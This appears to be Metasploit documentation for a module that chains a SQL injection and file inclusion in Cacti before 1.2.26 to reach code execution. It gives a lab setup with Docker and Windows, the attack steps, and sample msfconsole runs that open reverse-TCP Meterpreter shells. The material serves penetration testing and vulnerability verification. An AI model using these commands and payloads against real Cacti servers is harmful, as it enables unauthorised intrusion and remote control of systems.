Files
metasploit-gs/documentation/modules/exploit/multi/http/cacti_pollers_sqli_rce.md
T
Christophe De La Fuente b91648f065 Fix typos
2024-02-02 11:45:51 +01:00

9.6 KiB

Vulnerable Application

This exploit module leverages a SQLi (CVE-2023-49085) and a LFI (CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to achieve RCE. Authentication is needed and the account must have access to the vulnerable PHP script (pollers.php). This is granted by setting the Sites/Devices/Data permission in the General Administration section.

The module implements a check method that makes sure pollers.php is accessible. It also tries to run a basic time-cased SQL injection that will confirm if the application is vulnerable. It also bypass the fix added in version 1.2.25.

The exploit will do the following:

  • Login with the provided credentials
  • Perform a series of SQL injections to:
    • backup the current log file path and add a new path to the settings table
    • insert the new log file path to the External Links table (external_links)
    • add permission to access this external link to the current user (user_auth_realm)
    • Poison the log file to add the payload stager
  • Trigger the payload by accessing the external link page (link.php)
  • Cleanup the SQL tables that were modified to their original states
  • Remove the new log file that contains the stager

Docker installation of Cacti version 1.2.25

  • Create the following files (based on the files from here):
    • docker-compose.yml:
      version: '2'
      services:
        web:
          build: ./cacti
          ports:
           - "8080:80"
          depends_on:
           - db
          entrypoint:
           - bash
           - /entrypoint.sh
          volumes:
           - ./entrypoint.sh:/entrypoint.sh
          command: apache2-foreground
        db:
         image: mysql:5.7
         environment:
          - MYSQL_ROOT_PASSWORD=root
          - MYSQL_DATABASE=cacti
      
    • entrypoint.sh:
      #!/bin/bash
      set -ex
      
      wait-for-it db:3306 -t 300 -- echo "database is connected"
      if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
          mysql --host=db --user=root --password=root cacti < /var/www/html/cacti/cacti.sql
          mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
          mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
      fi
      
      chown www-data:www-data -R /var/www/html
      # first arg is `-f` or `--some-option`
      if [ "${1#-}" != "$1" ]; then
        set -- apache2-foreground "$@"
      fi
      
      exec "$@"
      
  • Create a ./cacti/ directory with mkdir cacti
  • Add the following files in the ./cacti/ folder (based on the files from here:
    • Dockerfile:
      FROM php:7.4-apache
      
      RUN apt-get update && \
          apt-get install -y --no-install-recommends rrdtool snmp wget ca-certificates libsnmp-dev default-mysql-client \
                  wait-for-it libjpeg62-turbo-dev libpng-dev libfreetype6-dev libgmp-dev libldap2-dev libicu-dev
      
      RUN docker-php-ext-configure gd --with-freetype --with-jpeg &&\
          docker-php-ext-configure intl &&\
          docker-php-ext-configure pcntl --enable-pcntl &&\
          docker-php-ext-install pdo_mysql snmp gmp ldap sockets gd intl pcntl gettext
      
      RUN mkdir /var/www/html/cacti &&\
          wget -qO- https://files.cacti.net/cacti/linux/cacti-1.2.25.tar.gz | tar zx -C /var/www/html/cacti --strip-components 1
      
      COPY config.php /var/www/html/cacti/include/config.php
      COPY cacti.ini /usr/local/etc/php/conf.d/cacti.ini
      
    • cacti.ini
      display_errors=off
      memory_limit=512M
      date.timezone=UTC
      max_execution_time=120
      
    • config.php
      <?php
      $database_type     = 'mysql';
      $database_default  = 'cacti';
      $database_hostname = 'db';
      $database_username = 'root';
      $database_password = 'root';
      $database_port     = '3306';
      $database_retries  = 5;
      $database_ssl      = false;
      $database_ssl_key  = '';
      $database_ssl_cert = '';
      $database_ssl_ca   = '';
      $database_persist  = false;
      $poller_id = 1;
      $url_path = '/cacti';
      $cacti_session_name = 'Cacti';
      $cacti_db_session = false;
      $disable_log_rotation = false;
      
  • Run docker-compose up
  • Access http://127.0.0.1:8080
  • Login with the admin user (password: admin)
  • Follow the installation steps (accept every default settings and ignore the pre-installation checks suggestions)

Note that other version can be installed this way by changing the tar file name in Dockerfile (cacti-1.2.25.tar.gz).

Cacti on Windows

Download and run a Cacti installer from here. The admin password should be put in a file called Cacti-Passwords.txt by the installer, which is in the same location the installer was run. Follow the same installation steps as for the Docker installation.

Setup a new user

  • Login with the admin user (password: admin)
  • Go to Configuration > Users
  • Click on the + sign
  • Enter the User Name, Password and check the Enabled option.
  • Click Create
  • Go to the Permissions tab and set the Sites/Devices/Data permission in General Administration
  • Click Save

Verification Steps

  1. Install the application
  2. Start msfconsole
  3. Do: use exploit/multi/http/cacti_pollers_sqli_rce
  4. Do: set target <target>
  5. Do: set payload <payload>
  6. Do: run rhost=<target address> rport=<target port> lhost=<local address> username=<username> password=<password>
  7. You should get a shell.

Options

USERNAME

The user to login with (default admin).

PASSWORD

The password to login with (default admin)

TARGETURI

The base URI of Cacti (default /cacti).

Scenarios

Cacti version 1.2.25 on Docker installation

msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set target 0
target => 0
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > run rhost=127.0.0.1 rport=8080 lhost=192.168.144.1 username=msfuser password=12345678

[*] Started reverse TCP handler on 192.168.144.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.25
[*] Attempting login with user `msfuser` and password `12345678`
[+] Logged in
[*] Checking permissions to access `pollers.php`
[*] Attempting SQLi to check if the target is vulnerable
[+] The target is vulnerable.
[*] Backing up the current log file path and adding a new path (log/cacti520.log) to the `settings` table
[*] Inserting the log file path `log/cacti520.log` to the external links table
[*] Getting the user ID and setting permissions (it might take a few minutes)
[*] Logging again to apply new settings and permissions
[*] Getting the CSRF token to login
[*] Attempting login with user `msfuser` and password `12345678`
[+] Logged in
[*] Poisoning the log
[*] Triggering the payload
[*] Sending stage (3045380 bytes) to 192.168.144.1
[*] Cleaning up log file
[*] Meterpreter session 8 opened (192.168.144.1:4444 -> 192.168.144.1:51181) at 2024-01-29 22:00:19 +0100
[*] Cleaning up external link using SQLi
[*] Cleaning up permissions using SQLi
[*] Cleaning up the log path in `settings` table using SQLi

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer     : 172.25.0.3
OS           : Debian 11.5 (Linux 6.5.11-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

Cacti version 1.2.24 on Windows 11

msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set target 1
target => 1
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > run rhost=192.168.144.134 lhost=192.168.144.1 username=msfuser password=12345678

[*] Started reverse TCP handler on 192.168.144.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.24
[*] Attempting login with user `msfuser` and password `12345678`
[+] Logged in
[*] Checking permissions to access `pollers.php`
[*] Attempting SQLi to check if the target is vulnerable
[+] The target is vulnerable.
[*] Backing up the current log file path and adding a new path (log/cacti715.log) to the `settings` table
[*] Inserting the log file path `log/cacti715.log` to the external links table
[*] Getting the user ID and setting permissions (it might take a few minutes)
[*] Logging again to apply new settings and permissions
[*] Getting the CSRF token to login
[*] Attempting login with user `msfuser` and password `12345678`
[+] Logged in
[*] Poisoning the log
[*] Triggering the payload
[*] Sending stage (200774 bytes) to 192.168.144.134
[*] Cleaning up log file
[*] Meterpreter session 7 opened (192.168.144.1:4444 -> 192.168.144.134:64144) at 2024-01-29 21:58:59 +0100
[*] Cleaning up external link using SQLi
[*] Cleaning up permissions using SQLi
[*] Cleaning up the log path in `settings` table using SQLi

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-26CQRHP
OS              : Windows 11 (10.0 Build 22000).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows